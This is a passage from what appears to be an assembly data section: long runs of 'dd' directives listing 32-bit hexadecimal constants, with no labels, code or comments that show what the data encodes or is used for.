5F6D8268h, 2E009545h, 19B0425Ch dd 11253EFh, 17EAEC05h, 0BE52D1DCh, 0D42A0009h, 6A01B472h dd 0A8904E7h, 0A4F0B679h, 3C1EDF70h, 571F0D10h, 0BB206440h dd 973712h, 0F43804E4h, 332C7AF6h, 0DC53D00h, 2EE076B1h dd 0A8A96037h, 0D85073BFh, 0F3F78E00h, 96DD6B60h, 0AB8D005Dh dd 3CB6B5C6h, 0A01B28Bh, 8CBBFEC5h, 38BE2354h, 0E2358480h dd 774565CAh, 3AAD7300h, 6BE1150Ch, 0F22B1629h, 14800026h dd 8209BE79h, 6CDF8A01h, 0A6EC5808h, 3E448570h, 4A00D070h dd 8ED7605Eh, 0F40155A5h, 28D3A0AEh, 0E6D80F30h, 690A00AFh dd 0DBFA9D8Dh, 0CD1D5892h, 20005B62h, 6191E16Ch, 939700A5h dd 0DB821A59h, 1B0272F0h, 6A2FA675h, 0EA94C098h, 0FF42000Bh dd 0FE7774ECh, 79077EEFh, 9502F5F0h, 4009C141h, 0B20DCh dd 7338FF5Fh, 7851F98Ah, 9E18130h, 0B50FEh, 143ABC10h dd 7F7BEC0Ch, 600E6A7Eh, 0B3AE69EAh, 32B0D400h, 321E412h dd 0C8223171h, 2DD037F2h, 0F9005E27h, 85BDB5F5h, 72859D2h dd 0D9AD8D98h, 96D64010h, 0A009FB8h, 0E782C789h, 0E4BD08h dd 3E4887C9h, 0F070737Dh, 0A3CF5104h, 1CC0E78Eh, 0EC10E8D8h dd 3F600D4h, 0D01D1A2Dh, 14F279DCh, 8CC5AA00h, 568DC468h dd 4E90ADh, 2C4AD794h, 2B01BD13h, 0D9B094B8h, 3FC6471h dd 15636800h, 2C453A07h, 9592014Ch, 903C59C0h, 2AD3D02Bh dd 2949E300h, 8285A724h, 500A0792h, 0E055E11Fh, 0A32B2CE0h dd 0E3743509h, 0C42808FBh, 0B75F9E00h, 0FB8B022h, 42A33EEBh dd 0C9A93BA4h, 387C2030h, 0A45FE40Bh, 0B6AC22B7h, 0BFA8C105h dd 2D40AC65h, 142A4707h, 0C43A6028h, 26892B04h, 0F02CB484h dd 0A300207Ch, 8A2D3E45h, 0BA1E0h, 17246FDh, 9C86FCA0h dd 6938D4F7h, 639E9B0Eh, 195AB3Ch, 0BAF89838h, 0FA68E0h dd 6F8D23B5h, 0D035AC96h, 7B4BC43Ch, 6D0C9h, 30F8C7A8h dd 0BCA00B2h, 11C59C3Ah, 1F01C82Eh, 29F35FDh, 51F437ECh dd 75701E5h, 0D1CCE64h, 9BE6Ch, 882C6F5Dh, 0C3352896h dd 446AB3D0h, 84C18CE0h, 0A816C600h, 261D3AE4h, 7AB53EB4h dd 6F6DFA81h, 2078302Bh, 0F03855F0h, 1200F03Fh, 3774BFD4h dd 436ED6h, 4F2638AEh, 0B620BD92h, 6FFE3D04h, 24A00848h dd 0CC933F34h, 661E8489h, 5CF0EC63h, 319B99Bh, 0D528EB0Dh dd 0CCE14840h, 0DECD0005h, 0B68FFF78h, 6F67793h, 0BC014E28h dd 62239F00h, 6DDC67C3h, 0A63B07E4h, 10DE1DF7h, 6FD3A314h dd 0B2732300h, 34B5CDB0h, 0BDC00E36h, 6800DBBFh, 0E88927F6h dd 1A3E2CFEh, 17238E4h, 0D3DB7969h, 0B3F0539Dh, 652D0091h dd 0B2344364h, 2A2C0BB4h, 0D80937B9h, 0A34681DCh, 24873347h dd 20DE77F0h, 81048EE7h, 0C5A03001h, 239E8C84h, 2D9860h dd 8734192h, 0D38618D0h, 47006079h, 0D59C2B78h, 872C5Ah dd 201519A0h, 513EF364h, 8F477C1Dh, 585772CFh, 29A10Ah dd 1B8068D0h, 0DCE85924h, 45C33Dh, 514C7712h, 90D731h dd 0F515F4C2h, 24EF8E29h, 0AC018CFCh, 891F5CBAh, 0BC5056A1h dd 0B8D7A51Ah, 0D2930090h, 0E0A4111Dh, 0A10F2D44h, 2760E4h dd 0A64263E9h, 78DF0074h, 7D087A4Dh, 0F0727F66h, 700008DFh dd 0ADF34C65h, 14DC0007h, 9E1A108Ah, 311CF8BBh, 0C4DC19EDh dd 0C66C5BC0h, 0BFB15Eh, 5AB701A1h, 0A2543BFDh, 836B1D1Dh dd 47932BC0h, 6FE30F2h, 8267228Fh, 0D700C041h, 0F9E66C3Ch dd 0EE06874h, 0AB963ED3h, 2A11F3E0h, 9B490258h, 7FF424A0h dd 0E8F1DC0Ch, 3092EBh, 0A53B8A72h, 778BB0E6h, 3CF0D35Dh dd 0A444009Eh, 0A9432594h, 51270E93h, 65A0ACCBh, 6626AE96h dd 0B086C100h, 0E1E589F5h, 0E35A03F6h, 0E2A2EBD2h, 0FD01087Ch dd 2F1138D9h, 8447DB84h, 0E0319642h, 0BF5FDAh, 0C2B549F3h dd 24DE4651h, 98F88892h, 4D8AAA00h, 6082E98Eh, 4FE50464h dd 0C0790D23h, 19695FFCh, 7D7E8F00h, 1B2436C5h, 0E98400D0h dd 8E52B2B4h, 0C33DE198h, 0EFE68042h, 1ABA817Fh, 4B1014Fh dd 33DD1C25h, 0D86DC438h, 6B562C00h, 2E0C3979h, 633B00D2h dd 7C5EDD24h, 220F1DA0h, 80EFF2AFh, 5928D969h, 0FA89004Dh dd 79200511h, 4F01D8FDh, 61E33BA6h, 6DD5CD1Bh, 6B2094F1h dd 0BC7600A4h, 0AF80FC87h, 3600D2C7h, 0D8D6357Ch, 1237C4F9h dd 0FE71B458h, 0D1FDF800h, 392EB9BAh, 6B01274Eh, 19573A9h dd 30B3C8B8h, 37BD7D00h, 356115F0h, 0C16012A6h, 22950193h dd 0C687F4B9h, 0F8F06A63h, 8A7030D4h, 3BC13F1Eh, 0EEAF1000h dd 13734Fh, 6CE12D7Fh, 5F46BE09h, 31778F01h, 0A6918B83h dd 0A084E7C4h, 7D417990h, 2AB076h, 0B3684C7Bh, 95324A7Dh dd 660036FCh, 1B437CB1h, 147682h, 19D1C5D8h, 12EA200Fh dd 8DB2737h, 0ABE9DDC1h, 78EF0EFh, 0C6A80EE2h, 0A280B479h dd 0F2FAC9DAh, 66D6B500h, 0C425CF40h, 0C06700ACh, 6F13850Bh dd 0B9077D09h, 8F23AB7Ch, 0A9AA4E10h, 0F2C70FF9h, 5260823Eh dd 61985196h, 0BCC6BB3Eh, 0E9007401h, 0CEFDCF8Ch, 0A42F9Dh dd 785BC27Ah, 0E77F35B4h, 0FF067E00h, 3273F4F1h, 6BE20749h dd 90489BEDh, 20D3C0C3h, 7EA52D00h, 4F96CE0Eh, 26E6AFh dd 7056FC08h, 0E0F03839h, 54534D0Eh, 420EB361h, 4EFB2C5Ch dd 0C5220710h, 31F84D51h, 50E4B9C0h, 15C77DD0h, 9C56290Fh dd 9DDCE207h, 904C4895h, 30D60E34h, 43801BEEh, 31D461EDh dd 0D0CDE700h, 0D50ECB4Dh, 3F2A004Ah, 22480423h, 110D5B20h dd 90321C9h, 0DA70F0h, 6E677E42h, 0FCE002D2h, 1DB88100h dd 0D9F48288h, 0D8FF00F2h, 0EFF9E98Dh, 0E13048CAh, 6288B83Fh dd 672D001Eh, 0DA5AA01h, 0CF00DA1Fh, 990EF43h, 0D788A0h dd 0AB1054D1h, 0A1914751h, 0C2F21200h, 76B944FBh, 0FCE200FAh dd 0D56698BBh, 2B3C6B23h, 631F0021h, 0D968AA0Ah, 30E4075Bh dd 6F74504Eh, 5A6B9A60h, 0B8010979h, 99A71434h, 0B6C8EB61h dd 0D677000Ch, 934475EFh, 522E3A12h, 720C47ABh, 7710AFh dd 0C85CB1Eh, 755E43A8h, 0D1C97D18h, 3B9DC28h, 0AF717AB0h dd 40F5BD36h, 2DD1CFE0h, 0A7CC1D9h, 0F1CD400h, 0D31AD2C8h dd 6EE3ECCh, 7500233Bh, 2C827ED1h, 981F0B11h, 80584615h dd 248109h, 9F9D9979h, 0FCD1E232h, 59EA6D00h, 875666D7h dd 1F3A00CCh, 3E9F37DCh, 0B500E74Fh, 4E21EE77h, 3358C32h dd 14D63C3Dh, 8E886979h, 0BD005CDCh, 994C6FA6h, 7BC75D7h dd 0C31CE17Fh, 0ADB8E0FAh dd 81D0C0Bh, 0DDC1B2EAh, 0AA21306Ch, 5570F8EFh, 3219C065h dd 84913B89h, 0A4E2ED00h, 0CBB7F4A5h, 589A26h, 0C14760ACh dd 8AFB2212h, 0D94C6109h, 80A889BAh, 0B4F20B02h, 0DA400038h dd 0DF7EB3A6h, 8807B287h, 0AAF18473h, 0EE4260FEh, 24317220h dd 66F29h, 0FF6A068Dh, 0CA0C6309h, 904F8608h, 729D00EBh dd 602935A4h, 34627C01h, 60615288h, 0EAC8A19Ch, 194203BEh dd 66B75D40h, 0ED53CAA8h, 69C0F24Ch, 0EC8000C4h, 9F851Eh dd 6A929A7Eh, 0BB907CBFh, 0D90080B8h, 0D781E90Eh, 60897749h dd 30C2D0B3h, 347A0531h, 0ED73CB00h, 0A81E99DBh, 2C0E0024h dd 0B364CCD7h, 53004B8Ch, 12EF5F52h, 0A592D3Ch, 421A090Ah dd 0FDEC008Ah, 0C604C726h, 0DDDF4Ch, 6489D4DDh, 829BF1h dd 45BBD973h, 58BD47FEh, 8710EA3Bh, 87CBE0BEh, 4B2F4170h dd 0EBB200FFh, 0F983B5A6h, 7E00BB5Ah, 6392A395h, 1E602E06h dd 445F0744h, 0C0D285E5h, 8764E010h, 0CBBE6701h, 0D1BD3A89h dd 3F760E0h, 9B3DDC7Dh, 0FAE0C03Eh, 0D5036C6Fh, 0EC501918h dd 5451A961h, 400009BEh, 77ADF22Ah, 1009C7Eh, 0E9324CE0h dd 0F1A3CC3h, 636AFB87h, 0BAC5EF6h, 2C009D25h, 1DD6D3E4h dd 758E859h, 48EF41EEh, 47EA0FA0h, 0A28026CEh, 677F04D5h dd 13E4C72Bh, 0F9D8969Dh, 0D200CAB1h, 0E43FE8C5h, 0C260720h dd 3ABDA3EDh, 663B4610h, 16F50087h, 4AAB6130h, 0B7F91EB6h dd 805864D0h, 0C771B5BBh, 0AC001440h, 748C75EBh, 379D4B08h dd 0B0991B5Ch, 0FF89B8EFh, 0F6D6800h, 9C78F614h, 0C5BC0015h dd 1F3487Eh, 58E823D3h, 1F5A58h, 62C3E21h, 1B556DCh, 0CA8A48AEh dd 710760FEh, 0F411C853h, 0B571262Ch, 4056EF0Eh, 5C2B61B0h dd 79EA24F9h, 574E0E04h, 0F8F67C00h, 55E45267h, 0F5116D00h dd 0E60EAFB3h, 41A74D1h, 91FD737h, 1134C036h, 0BE05F6AAh dd 6CA9D05Eh, 62C54CC0h, 0DB6E0EE6h, 0DE40E56Fh, 0D4419FD1h dd 0ADE36D0Eh, 7CE420D0h, 11362CFh, 14C369F0h, 0D11C6A89h dd 1F09BEF1h, 2801A21h, 0AFA86658h, 74A5128Bh, 8F3C40EFh dd 1705C7FFh, 5D50AE01h, 51E957BFh, 0AAB499EAh, 0B145F540h dd 0D4992DBBh, 3A078DD0h, 6934BF38h, 0D25A2F80h, 43900024h dd 48889314h, 60FC39Fh, 8197A7B6h, 9582AE3Ah, 72E064h dd 56CFACFBh, 142C132Dh, 0C2608F00h, 0DB3FF657h, 0A9B00053h dd 0C84274E2h, 0BA28A356h, 0F83B8749h, 0ED2580A1h, 4F8F942Ah dd 23CF3DF1h, 9634D887h, 2C7BC024h, 892CC558h, 4A0040EDh dd 0FB2FEF1Bh, 0B302260Fh, 5AEA0F5Bh, 5F7E00FEh, 8F892A52h dd 0E31B3D00h, 84EB15Bh, 7B8D000Ch, 35D8EDEh, 0B81D600Ah dd 2758211Ah, 0F85DB2Ch, 0EC77F475h, 74A156C1h, 0D846F528h dd 3100E945h, 54B2123Bh, 775FBFFh, 0A9D66AF9h, 0C605E22h dd 2953DC09h, 9B82E806h, 0E605F9Eh, 16707135h, 0D1637098h dd 4EA37407h, 2F017C38h, 0C3F05B83h, 1420695h, 105D28AFh dd 44453Ch, 0B73823E1h, 0EA429689h, 745E2CD6h, 0E3390E3Bh dd 4A0C2C34h, 67716543h, 1949D800h, 2402BDD6h, 5CE00040h dd 72CFE68Ch, 0C40F9137h, 0D81F8B73h, 14C26859h, 2877DEAAh dd 0C4AA11Dh, 85A82EA3h, 595F6800h, 0F4F943BBh, 7B4800D1h dd 0A2558425h, 3500712Eh, 21B733F5h, 98589Ch, 23D2E217h dd 1AAFB09Bh, 0B520D00h, 29B67F69h, 6A58003Ah, 1B10D7DFh dd 0F7006C2Bh, 62070102h, 0FCDA28A1h, 117B0096h, 0FE730AEFh dd 7800A720h, 0AB146FBAh, 31A7AFAh, 0D2EEE21Eh, 80D40EA2h dd 0A79822BCh, 293AFD00h, 0B6F40307h, 0FAE10583h, 5EE423h dd 0B47E3090h, 920B5Ch, 0AA043552h, 1DA13AB0h, 0C8DFA400h dd 882A3B34h, 6A7600FEh, 3F71CA44h, 4A0FD88Ah, 71D82E7h dd 708787FDh, 0A405814Fh, 9EF0CFFAh, 353B01E5h, 0D8CCF0A3h dd 0CCBF07Bh, 80002AF0h, 0CDE76834h, 0F346B8h, 2F50FED2h dd 0DFA31E6Ch, 751B5B00h, 4C1D8188h, 14D3022Ah, 0A6D8E71h dd 0B036495h, 0E7342E1Eh, 0E81F6F03h, 0E923B7h, 0FD15B299h dd 0A32E077h, 58AA0B07h, 8C0E5A0Eh, 84B52913h, 39652510h dd 17140E21h, 0CE12128h, 2296A09h, 1D4F2284h, 229B2D22h dd 66225FA7h, 0C8DBB057h, 0FB421929h, 4FA2566h, 442ED828h dd 0B8469625h, 0DE42C919h, 111A6511h, 2E199491h, 8122914h dd 5D12F7BFh, 10922882h, 2253B622h, 92220AAh, 1B122298h dd 14048A25h, 0D54C29A3h, 99003351h, 6ACB2BEBh, 2C2E5798h dd 0F9AF7Ch, 8B712DD0h, 0C200D6ADh, 72661B62h, 186D79h dd 3286519Eh, 0A7E068A0h, 0BACBB301h, 0BF804F4Eh, 0FB1AF8h dd 405C50C4h, 1BA67437h, 0BC60F800h, 0AFCDAEDCh, 0C37D1CB6h dd 9105C0CFh, 3AD70125h, 8EB23200h, 0CE36BDF2h, 0CAE22E41h dd 0EABC00C7h, 0E5AD0554h, 8014843Ch, 56FC9770h, 7A4F8D5h dd 30F2C9EBh, 7CD403F1h, 1A44A7C8h, 0B0036F0Eh, 5139803Eh dd 0F167AFh, 2C6448ABh, 4287BB7Ah, 2AFF8002h, 48CBC3A2h dd 3676650h, 261BEC2Bh, 3F8F0B59h, 7DE0772Fh, 4BCD4161h dd 2F4239h, 55C57AEh, 794FDFh, 557BF51Fh, 7DC23239h, 5031A200h dd 76988E8Dh, 37C905Ch, 0ADDA2B95h, 3FB0A64Eh, 0CF039A3Eh dd 2C011226h, 0F707D80Dh, 7F6700CBh, 378EA318h, 0D30FF84Bh dd 69C83AE1h, 0A2EA00CEh, 0A585BFh, 0F9C2DFAFh, 0F84AE09h dd 8A2A8300h, 0B4C97362h, 0D2500ABCh, 0D82790h, 23778DBDh dd 5EF07603h, 53C73B00h, 0F019C31Bh, 0F239001Ch, 3F70A4F5h dd 80002CD9h, 8AD40D62h, 8CCB6h, 289F45F6h, 42843409h dd 17115D00h, 0E625A6DBh, 0F9E700DEh, 0BA32FEC6h, 447DA1BCh dd 8A716F2Ch, 359CF200h, 24497FB1h, 0FC33E5h, 0CD44930Ch dd 2492BE3Bh, 0B4C1B90Eh, 0FFFA03Fh, 1FF8FE7Dh, 141525h dd 0E98BCBB0h, 0E200F6C9h, 0DB1B1A42h, 0E34F099h, 22D4CFEEh dd 0E601302h, 2BDFE5C0h, 2FA63800h, 8D8028C5h, 687A92h dd 8336A2DDh, 701D9863h, 0BB8BC900h, 1E717A51h, 5590158h dd 5F3F812Fh, 56E6EC77h, 3A395007h, 0E45067B0h, 738CCB48h dd 4EF409AEh, 1C01B7F0h, 0E0072B85h, 4304B611h, 0EE51BDE8h dd 711074C7h, 223481h, 0CA92DAC4h, 42E8F503h, 46800960h dd 0E6E02FA2h, 1DFF00EDh, 4EEA02FAh, 0B900519Ah, 0B4490765h dd 4500B06h, 94C3B65Fh, 18880B3h, 4E073544h, 2B4F22E4h dd 3832F540h, 3F8C0319h, 1AC554E7h, 0D1E676F8h, 420BD407h dd 1C0E870h, 312511h, 9B92F9CEh, 0FCFAB6Eh, 9303D00h, 269DA60Ah dd 0C96438EFh, 0AF80CDBAh, 4C9E60DAh, 4F00C3B1h, 2E38E20Eh dd 3B0B4Ah, 428E8685h, 251A695Ah, 0E50018F8h, 0F2D9E6C6h dd 5D6F3B6h, 22C2F861h, 0C99803D0h, 1E53F30h, 0B1B63AC8h dd 0F0EEC552h, 0BA008474h, 9D81DF1Bh, 1E89B573h, 0C0A88DE8h dd 0AD43A2B1h, 78037F40h, 92D398CAh, 9D66F8F9h, 0D2090385h dd 28B3C780h, 436EB0E8h, 4AC348h, 2E072AF6h, 7719AE7Fh dd 462300BCh, 986D592Dh, 0DC1C41B3h, 6C005603h, 5731765Ah dd 8534813h, 124F4209h, 80410F07h, 16E17139h, 0D7C48900h dd 4EC78E88h, 5F0905Dh, 49380A82h, 0BF6F80CBh, 0CC00B262h dd 1953D04h, 0FCB3F1h, 0E5F00ECEh, 44A209D3h, 51907318h dd 3D1BB858h, 5F807912h, 564D49E0h, 850027EBh, 0CFA71ED8h dd 0B37E97h, 694BFA98h, 379C6FCDh, 5D124E00h dd 33BBC0A1h, 0EA0E00F2h, 0C254AE0Fh, 4301CCE7h, 0B8E548FDh dd 72CC733Ah, 0C9E300B4h, 0CFD170BEh, 54016033h, 432C18A6h dd 20F08CB9h, 0A066001Eh, 0A5BC755Dh, 0FD00C9A9h, 83B85F6Dh dd 0FA6C0B28h, 185D01F2h, 3135826Ah, 9E87C4C3h, 82B1B439h dd 86AD2C57h, 0A3F4A034h, 0B2DF41h, 0DE24E5Ch, 18434C74h dd 75FD1007h, 8020BE6Ch, 0EF450514h, 7374D0h, 0B1C3EA04h dd 0A3B02D08h, 0BFAA6E16h, 0E12B00EEh, 22E9E47Dh, 17AB39h dd 3FEF5A77h, 1C0D65A4h, 82A688h, 0A8368956h, 0A100AA4Dh dd 5847709h, 77F925Dh, 4B2F5A74h, 7ED70D9h, 1C003AF2h dd 533D6E17h, 370E4Ah, 0D37B2CC4h, 0BD87C7AEh, 781F51F0h dd 12007775h, 79BAC0DFh, 0C78CA06Fh, 90D500D4h, 8D6B0922h dd 0BE00590Eh, 17630624h, 0CF28DAh, 0F7E0CAEAh, 0CB2B852h dd 0E526EB00h, 2C14359h, 0F896383Fh, 84A41901h, 16D1371h dd 20DE9A04h, 0A8094BE9h, 5C0B3575h, 0DDC7Eh, 4F3BD45Ch dd 31C42632h, 61F000ADh, 6E679CABh, 5780F00h, 0BDCA4666h dd 98CE00BCh, 73135393h, 2B004A7Fh, 80A32382h, 0E4A1DDD8h dd 884B133Ch, 8BA80219h, 706487B0h, 0E0501500h, 4306D3D2h dd 0A3ED1F27h, 431C1F7h, 61CB0E51h, 0DB0CC828h, 4CCEFF00h dd 0BB9F282Fh, 70030069h, 0AADF649h, 9400D7F7h, 2FED6B6Ah dd 5B45D64h, 0B243FF12h, 1A8F80CDh, 0F97551C6h, 9A3CE51Dh dd 5DB9E340h, 103C25Bh, 4DD83E36h, 2F61F1FDh, 7C8D6200h dd 0E08C1D1h, 6870341Eh, 4D52CD60h, 0E400DB2Bh, 0F9C4EB13h dd 829BC8h, 0E13DB850h, 0C7B2C64Bh, 0A1E2B900h, 43467790h dd 98160774h, 0C0080AA3h, 6C65C272h, 0A4CEB400h, 64CD955Eh dd 36E50F40h, 0C07C7AF5h, 26F73830h, 8B00FA84h, 60C518CFh dd 2FF2AFh, 0C722F395h, 0B38CC9A6h, 66A82000h, 5E14F5BCh dd 0C575B5h, 79ECDAC2h, 7E428B83h, 95EDAE03h, 0B0BCAAE9h dd 76C281h, 0A1F4B784h, 526B28DCh, 3E86C300h, 41B515E1h dd 2E2F004Eh, 0C60B9395h, 13007D8Ch, 0FB67FD62h, 30DC7Fh dd 86D69711h, 0F71546EEh, 662E3960h, 0AD5CBAh, 9BC355F3h dd 0CDCC97D9h, 62D68600h, 0F733FB7Fh, 6EB20EB5h, 0ECA07745h dd 0F5E5E22Dh, 89D9DD00h, 0E109C90Dh, 0F7610064h, 4E1F3FA7h dd 0B77A539Fh, 0ED5D6000h, 98F609DBh, 45620032h, 9D3A2BBDh dd 0F75849D6h, 85500066h, 3B73CFECh, 0F1C4000Ch, 3C0E1F2Ah dd 0E0096055h, 71E1D29h, 0BDC02B8Bh, 0EAF54F63h, 59480E50h dd 3F00E028h, 45B58A9Bh, 62BE0200h, 25BA3B9Ah, 12AB0FAEh dd 4A0861Ch, 170D82Ah, 87718D3Ch, 3A0AC949h, 555F2210h dd 0F3776Dh, 548B8A4Ah, 233F79E4h, 8FC0EF3Ch, 0E087925Eh dd 0CF1D9BB5h, 0CCE53BEBh, 0F4139709h, 0A3113E80h, 583DFA75h dd 0FD319EFEh, 0BE352CC6h, 0BAEC0A98h, 80C092D6h, 8577F33h dd 0B00024DAh, 9CCF510Ah, 85296Eh, 4A4F6AF4h, 54667522h dd 95799400h, 6881C2Fh, 0E893001Dh, 150C4EC3h, 1200A3C1h dd 2D2844Dh, 0A1E7BC6h, 0B73B0846h, 0ED0F8288h, 0B883CE77h dd 968860C0h, 0CA0EC27Bh, 29025AF2h, 0F0400E5h, 0D03F35h dd 0DE147805h, 0EAF16267h, 30C6E400h, 0D1B1EB8Fh, 0BA29022Dh dd 9C9D8658h, 0F6BF00DFh, 0BBB213h, 0C6C44BCAh, 0E4B6E328h dd 0DA791801h, 0AA1D34C2h, 77AF070h, 83DFFDEDh, 3B003B7Ch dd 339E9F0Fh, 8908F300h, 2755F1DCh, 28FC2EB6h, 0AA24009Bh dd 0A8CBBD5h, 390018EEh, 7B836F4h, 44184h, 5E1ABE03h, 266F7B9h dd 0B32F271Eh, 4AB8C7C0h, 71A99Dh, 3D409815h, 83E29FBAh dd 0B4F46412h, 0DC40B81Dh, 9A2D04C0h, 0DEE08Eh, 4A843858h dd 0B4373074h, 623D9401h, 0D54F7089h, 0BAC8F07Bh, 99C025FCh dd 898A808Bh, 0F924000Ch, 0CF882F31h, 94014362h, 0E5BC81B0h dd 0EC0A9FAh, 0D66C004Bh, 1C466A5Ah, 8000C211h, 0E8241A03h dd 46DC0CBh, 714AFAA4h, 12C6C0D7h, 1009A4Fh, 0EB65AF39h dd 981A08h, 0D877FE5Ch, 7E85CB05h, 9A8AE700h, 0C7B4D61Ch dd 66860056h, 0CC931EE5h, 1600D14Dh, 5194D8DDh, 0EF1F24h dd 9E576E68h, 445640ACh, 6FB53703h, 37638AFh, 5CC4D8E8h dd 88003912h, 0CC8B3555h, 92B5FEh, 22013A16h, 0FAE1442Ah dd 7311A48h, 9D87300Bh, 14D5A311h, 181C0FF4h, 2952AA2Bh dd 0E5017242h, 7401CF84h, 1981B6F0h, 0A1C78D16h, 52C8E3BBh dd 64003565h, 1F533498h, 1C68503h, 83540FC5h, 0E8FD1BEDh dd 810343AEh, 52974916h, 47A91C0Bh, 5B0C0C2Bh, 9F00FC58h dd 1F9EEE96h, 186489F2h, 0AE7A4EC0h, 0C00DD9Ah, 6D3DD359h dd 65F6E7h, 0CF5C573Bh, 32A597B7h, 8F458203h, 0B8CC7DECh dd 3A0F6293h, 1C0C836Ah, 5648796Eh, 88EAAC92h, 5E50C400h dd 6B55636Dh, 20EF7FA8h, 0A102E49Ch, 111591B2h, 5328E0CFh dd 0DEAE26B6h, 1C8101B4h, 80D7A877h, 0F3BDB4F6h, 7D5BAFF6h dd 1CE8F2CAh, 0C076424Fh, 4702060Eh, 4400CCC9h, 4535680Dh dd 1F6B2E2Bh, 0C0C334B5h, 0E2E6E5D6h, 701F8AFEh, 0F600F80Fh dd 91A09A68h, 3CFA7A2Ah, 400415Fh, 1A4D6D60h, 613D749Dh dd 171900ADh, 3D0256A8h, 97CE000Eh, 0CFD0CC8Eh, 5B00EE42h dd 0FE18302Ch, 50CD3170h, 0F21D569h, 0ACFA9F20h, 7F861640h dd 9103487Eh, 0BC5FF9E9h, 0F6E2E8C1h, 0FA7A33h, 6A1A641Bh dd 0B4F1AB80h, 4108A900h, 94156BD5h, 36A1007Fh, 0E452BB71h dd 801789B1h, 0FA005FA5h, 0D5B0A70Dh, 2DD8391Ah, 4B681Ch dd 949A4E7Fh, 0AB1D7980h, 21C01275h, 38FBB984h, 0A7B60051h dd 5FA20720h, 2F30035Bh, 1B0AB8D4h, 88D80075h, 0D32D1D8Fh dd 5E3CB4BDh, 3D71804Fh, 22DA0182h, 65CB0B36h, 0F1809962h dd 0F9E2F5ABh, 9AF8C100h, 4FFB697Ah, 18E80055h, 7DD0EF80h dd 4E00C8D8h, 1354BCCCh, 1657BBEh, 2D6FC52Ah, 20D42CC0h dd 7FA6056h, 0ADBC8512h, 0A8D9920Ah, 73EDD281h, 0CFE04532h dd 5AA92CFEh, 6A810055h, 0F437ABADh, 0A5CC1F00h, 1E461611h dd 4F3F00CFh, 7E4C908Eh, 0FC3E587Bh, 9ADD0051h, 96093C97h dd 2B7A00DBh, 0F4AD2473h, 0DBA00211h, 0F000DC9Ah, 0ECC39E4Fh dd 6DE01h, 0AF24A556h, 58C093C9h, 4FCAE003h, 0B81641A4h dd 0A22A2h, 716E0E52h, 0CD46FDDDh, 8F5B7B0Eh, 793FE0A7h dd 0DBAAE3h, 0F7B41E10h, 54CF63FCh, 58173024h, 20A0258Eh dd 8F2AE46Ch, 0BAD600D9h, 655C1594h, 5B004926h, 17A448B8h dd 92C966h, 7F5F054Ch, 48B70C0h, 70D4383Ah, 812C1C01h dd 37F263C3h, 60719841h, 54658880h, 50FCD4F7h, 1C7E4F00h dd 67F1090Ch, 0CA630074h, 0F6F6C76h, 0C778121Fh, 9C8C8D28h dd 0BD88F700h, 0AB9318D8h, 36D71F95h, 0B41E7Ah, 0D5890682h dd 38001153h, 0C94F04BFh, 0EF2DCBh, 0E70EEA2Ch, 6F617CBCh dd 90319F32h, 8B9B105Dh, 0E002BE00h, 51C2E5F0h, 0C72100BAh dd 9F734330h, 0D00E2DF8h, 603B9E2Ch, 4D7FCFE6h, 0E1CA0034h dd 200A1DF3h, 3A400FDEh, 0E2B7F406h, 0A60D2970h, 0A3A03CACh dd 0DB0A530Ch, 0F2BB510Bh, 0AFB30127h, 84BEEDD7h, 0B453FC4Bh dd 9E2E6F00h, 44879F17h, 769C0E2h, 686D95BBh, 6D6801Dh dd 0A83EFA40h, 0BFD437h, 9BCB71AAh, 0FDBBD925h, 0FE00B1B0h dd 6D732D74h, 0FB4F65h, 537D62CEh, 0B3F47C5Eh, 9BA25A03h dd 90A47E5Dh, 7BF78027h, 643D00ADh, 82DAAF16h, 51E4EA09h dd 50E2BD00h dd 0EBFEB676h, 0C19A00D6h, 0B18FD4A8h, 16002882h, 192CF3AEh dd 3DBF7178h, 3C86EB64h, 3822E7B0h, 0DF00FA7Bh, 52731895h dd 0EC053B68h, 49E60054h, 0C0C8A7CBh, 0FF38C2DFh, 5A52800Bh dd 7DBC390Eh, 6F5C00F5h, 6C7AB063h, 0CB0147C9h, 74170410h dd 0F2E4F94Eh, 2448CB50h, 0C78FF601h, 105EF05Fh, 9693780Ch dd 5D500Ah, 0CA998009h, 279EDD9Dh, 4DF6E300h, 7C9C49C7h dd 83841EC6h, 89807BF4h, 0AEDF18B0h, 0C06E7A3h, 523944D3h dd 3F463C8Eh, 132500F0h, 8E48E6C7h, 0B3000815h, 0A078B838h dd 14A8F57h, 4F764E7h, 40AAD152h, 0CE445E8Ah, 0E40030FAh dd 42E9B46Dh, 3822DFFh, 0D7D565EBh, 78F02983h, 3E00F5CBh dd 495820F7h, 2877Ch, 5A0D8FF8h, 4BD8DCD7h, 0BA6E4300h dd 11FEA538h, 0A02900B8h, 3064DBFDh, 7E005BB5h, 0A9CACF4h dd 0D2B7DDF3h, 0CCF80068h, 0B1068B94h, 2A0B39h, 0E960F011h dd 2B6C27h, 0EFB20C36h, 8C859E7Ch, 0D39ABCA3h, 61E9E0D5h dd 0F5E037h, 5C82FB7Dh, 502941E0h, 49E7203h, 0D08156FFh dd 121CB608h, 0FF0A1D4h, 59EED9F2h, 527BF880h, 0B002592h dd 889B3119h, 1CE26889h, 801BFA6Fh, 148A2FE5h, 1158C358h dd 0A233001Ah, 0F820CB4Fh, 0ECE92630h, 0E35F030Eh, 7380D7B3h dd 0BEE416BBh, 49217A13h, 85697C00h, 7CE82EF8h, 8B420083h dd 76A3B55Dh, 0AB00B3C4h, 1652BC0Ch, 0F4C2A436h, 0DDB700D3h dd 0F8C865DBh, 734DADA1h, 0CA3E2880h, 48BCC001h, 0E05FB67h dd 97D130h, 8D35882h, 916F81D0h, 405A2800h, 3EF8C3F2h dd 2FB100EBh, 77D2D17Fh, 0E7309054h, 156F78E6h, 0F6C20963h dd 489B9E67h, 954DD104h, 70D79033h, 0C2B8261h, 0B417E8E3h dd 72D66970h, 43A62000h, 0A0674D94h, 0DD70E770h, 0CCA592h dd 52B9E8E6h, 0F7C96212h, 5B781760h, 5C66F11h, 0A5B080FAh dd 9EB600A3h, 2D2CD195h, 0B3C8401Fh, 0B61E03Ch, 827A81h dd 0D90AC2EEh, 7F97BF1Ch, 0CBAAB51Ch, 0F6235EC0h, 2816EBh dd 0DC471AF2h, 14B31563h, 0D62CA500h, 8E6E60C5h, 0A47400BDh dd 25B10488h, 0C600F33Fh, 9B26EB5Eh, 7AFAD85h, 55DAE766h dd 4DAC8180h, 406E61D4h, 0F2EF4A7Fh, 54627B00h, 0C8BCBD7Ah dd 0D783005Bh, 147FAAB4h, 20002933h, 0FC152AA5h, 64CF69h dd 9162728Fh, 862C425Eh, 0CBDF5100h, 67EEE0AAh, 810900B1h dd 